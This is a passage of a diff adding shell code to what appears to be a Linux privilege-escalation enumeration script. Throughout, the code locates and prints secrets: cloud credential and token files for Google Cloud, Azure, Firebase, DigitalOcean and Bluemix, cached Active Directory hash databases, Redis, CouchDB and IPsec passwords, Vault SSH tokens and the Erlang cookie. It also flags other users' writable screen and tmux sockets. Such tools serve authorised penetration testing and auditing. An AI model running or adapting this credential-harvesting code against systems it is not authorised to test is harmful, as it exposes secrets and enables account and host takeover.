+ if ! [ "`echo \"$PSTORAGE_FREEIPA\" | grep -E \"ipa$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipa"; fi; fi; printf "%s" "$PSTORAGE_FREEIPA" | grep -E "ipa$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipa$,${SED_RED},"; find "$f" -name "default.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,default.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FREEIPA\" | grep -E \"dirsrv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "dirsrv"; fi; fi; printf "%s" "$PSTORAGE_FREEIPA" | grep -E "dirsrv$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,dirsrv$,${SED_RED},"; find "$f" -name "id2rntry.db" | while read ff; do ls -ld "$ff" | sed -${E} "s,id2rntry.db,${SED_RED},"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_KNOCKD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Knockd Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*knockd*"; fi; fi; printf "%s" "$PSTORAGE_KNOCKD" | grep -E "knockd.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_KIBANA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Kibana Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_KIBANA\" | grep -E \"kibana\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kibana.y*ml"; fi; fi; printf "%s" "$PSTORAGE_KIBANA" | grep -E "kibana\.y.*ml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kibana\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#|^[[:space:]]*$" | sed -${E} "s,username|password|host|port|elasticsearch|ssl,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ELASTICSEARCH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Elasticsearch Files (limit 70)"
+ echo "The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)"
+ if ! [ "`echo \"$PSTORAGE_ELASTICSEARCH\" | grep -E \"elasticsearch\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "elasticsearch.y*ml"; fi; fi; printf "%s" "$PSTORAGE_ELASTICSEARCH" | grep -E "elasticsearch\.y.*ml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,elasticsearch\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts" | grep -Ev "\W+\#|^#"; done; echo "";
+fi
+
+
+##-- SI) Logstash
+if [ "$PSTORAGE_LOGSTASH" ] || [ "$DEBUG" ]; then
+ print_2title "Searching logstash files"
+ printf "$PSTORAGE_LOGSTASH"
+ printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do
+ if [ -r "$d/startup.options" ]; then
+ echo "Logstash is running as user:"
+ cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,root,${SED_RED},"
+ fi
+ cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED},"
+ cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED},"
+ done
+fi
+echo ""
+
+#-- SI) Vault-ssh
+if [ "$PSTORAGE_VAULT_SSH_HELPER" ] || [ "$DEBUG" ]; then
+ print_2title "Searching Vault-ssh files"
+ printf "$PSTORAGE_VAULT_SSH_HELPER\n"
+ printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done
+ echo ""
+ vault secrets list 2>/dev/null
+ printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null
+fi
+echo ""
+
+#-- SI) Cached AD Hashes
+adhashes=$(ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null)
+if [ "$adhashes" ] || [ "$DEBUG" ]; then
+ print_2title "Searching AD cached hashes"
+ ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null
+ echo ""
+fi
+
+#-- SI) Screen sessions
+if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Searching screen sessions"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
+ screensess=$(screen -ls 2>/dev/null)
+ screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
+
+ screen -v
+ printf "$screensess\n$screensess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m,"
+
+ find /run/screen -type s -path "/run/screen/S-*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do
+ echo "Other user screen socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW},"
+ done
+ echo ""
+fi
+
+#-- SI) Tmux sessions
+tmuxdefsess=$(tmux ls 2>/dev/null)
+tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep)
+tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
+if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Searching tmux sessions"$N
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
+ tmux -V
+ printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
+
+ find /tmp -type s -path "/tmp/tmux*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do
+ echo "Other user tmux socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW},"
+ done
+ echo ""
+fi
+
+if [ "$PSTORAGE_COUCHDB" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing CouchDB Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_COUCHDB\" | grep -E \"couchdb$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "couchdb"; fi; fi; printf "%s" "$PSTORAGE_COUCHDB" | grep -E "couchdb$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,couchdb$,${SED_RED},"; find "$f" -name "local.ini" | while read ff; do ls -ld "$ff" | sed -${E} "s,local.ini,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_REDIS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Redis Files (limit 70)"
+ ( redis-server --version || echo_not_found "redis-server") 2>/dev/null
+ if [ "`redis-cli INFO 2>/dev/null`" ] && ! [ "`redis-cli INFO 2>/dev/null | grep -i NOAUTH`" ]; then echo "Redis isn't password protected" | sed -${E} "s,.*,${SED_RED},"; fi
+ if ! [ "`echo \"$PSTORAGE_REDIS\" | grep -E \"redis\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "redis.conf"; fi; fi; printf "%s" "$PSTORAGE_REDIS" | grep -E "redis\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,redis\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,masterauth.*|requirepass.*,${SED_RED},g"; done; echo "";
+fi
+
+
+#-- SI) Dovecot
+# Needs testing
+dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null)
+if [ "$dovecotpass" ] || [ "$DEBUG" ]; then
+ print_2title "Searching dovecot files"
+ if [ -z "$dovecotpass" ]; then
+ echo_not_found "dovecot credentials"
+ else
+ printf "%s\n" "$dovecotpass" | while read d; do
+ df=$(echo $d |cut -d ':' -f1)
+ dp=$(echo $d |cut -d ':' -f2-)
+ echo "Found possible PLAIN text creds in $df"
+ echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null
+ done
+ fi
+ echo ""
+fi
+
+if [ "$PSTORAGE_MOSQUITTO" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Mosquitto Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_MOSQUITTO\" | grep -E \"mosquitto\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mosquitto.conf"; fi; fi; printf "%s" "$PSTORAGE_MOSQUITTO" | grep -E "mosquitto\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mosquitto\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,password_file.*|psk_file.*|allow_anonymous.*true|auth,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_NEO4J" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Neo4j Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_NEO4J\" | grep -E \"neo4j$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "neo4j"; fi; fi; printf "%s" "$PSTORAGE_NEO4J" | grep -E "neo4j$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,neo4j$,${SED_RED},"; find "$f" -name "auth" | while read ff; do ls -ld "$ff" | sed -${E} "s,auth,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+AWSVAULT="$(command -v aws-vault 2>/dev/null)"
+if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then
+ print_2title "Check aws-vault"
+ aws-vault list
+fi
+
+if [ "$PSTORAGE_CLOUD_CREDENTIALS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cloud Credentials Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,legacy_credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"adc\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "adc.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "adc\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,adc\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.boto$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".boto"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.boto$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.boto$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.credentials\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".credentials.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.credentials\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.credentials\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"firebase-tools\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "firebase-tools.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "firebase-tools\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,firebase-tools\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,id_token.*|access_token.*|refresh_token.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"accessTokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "accessTokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "accessTokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,accessTokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"gcloud$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gcloud"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "gcloud$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,gcloud$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "b'authorization'.*" | sed -${E} "s,b'authorization'.*,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,legacy_credentials$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,refresh_token.*|client_secret,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"azureProfile\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "azureProfile.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "azureProfile\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,azureProfile\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"AzureRMContext\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AzureRMContext.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "AzureRMContext\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AzureRMContext\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"ErrorRecords$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ErrorRecords"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "ErrorRecords$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ErrorRecords$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.bluemix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bluemix"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.bluemix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bluemix$,${SED_RED},"; find "$f" -name "config.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"doctl$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "doctl"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "doctl$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,doctl$,${SED_RED},"; find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "access-token.*" | sed -${E} "s,access-token.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CLOUD_INIT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cloud Init Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CLOUD_INIT\" | grep -E \"cloud\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cloud.cfg"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_INIT" | grep -E "cloud\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cloud\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" | grep -Ev "\W+\#|^#" | sed -${E} "s,consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CLOUDFLARE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing CloudFlare Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CLOUDFLARE\" | grep -E \"\.cloudflared$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".cloudflared"; fi; fi; printf "%s" "$PSTORAGE_CLOUDFLARE" | grep -E "\.cloudflared$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.cloudflared$,${SED_RED},"; ls -lRA "$f";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ERLANG" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Erlang Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ERLANG\" | grep -E \"\.erlang\.cookie$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".erlang.cookie"; fi; fi; printf "%s" "$PSTORAGE_ERLANG" | grep -E "\.erlang\.cookie$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.erlang\.cookie$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_GMV_AUTH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing GMV Auth Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GMV_AUTH\" | grep -E \"gvm-tools\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gvm-tools.conf"; fi; fi; printf "%s" "$PSTORAGE_GMV_AUTH" | grep -E "gvm-tools\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,gvm-tools\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|password.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_IPSEC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing IPSec Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.secrets"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.secrets$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipsec\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.conf"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipsec\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_IRSSI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing IRSSI Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_IRSSI\" | grep -E \"\.irssi$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".irssi"; fi; fi; printf "%s" "$PSTORAGE_IRSSI" | grep -E "\.irssi$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.irssi$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_KEYRING" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Keyring Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"keyrings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "keyrings"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "keyrings$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,keyrings$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keyring$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keyring"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keyring$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.keyring$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keystore$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keystore"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keystore$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.keystore$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.jks$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.jks"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.jks$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.jks$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FILEZILLA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Filezilla Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,filezilla$,${SED_RED},"; find "$f" -name "sitemanager.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,sitemanager.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,Host.*|Port.*|Protocol.*|User.*|Pass.*,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,filezilla\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_BACKUP_MANAGER" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Backup Manager Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"storage\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "storage.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "storage\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,storage\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"database\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "database.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "database\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,database\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo "";
+fi
+
+
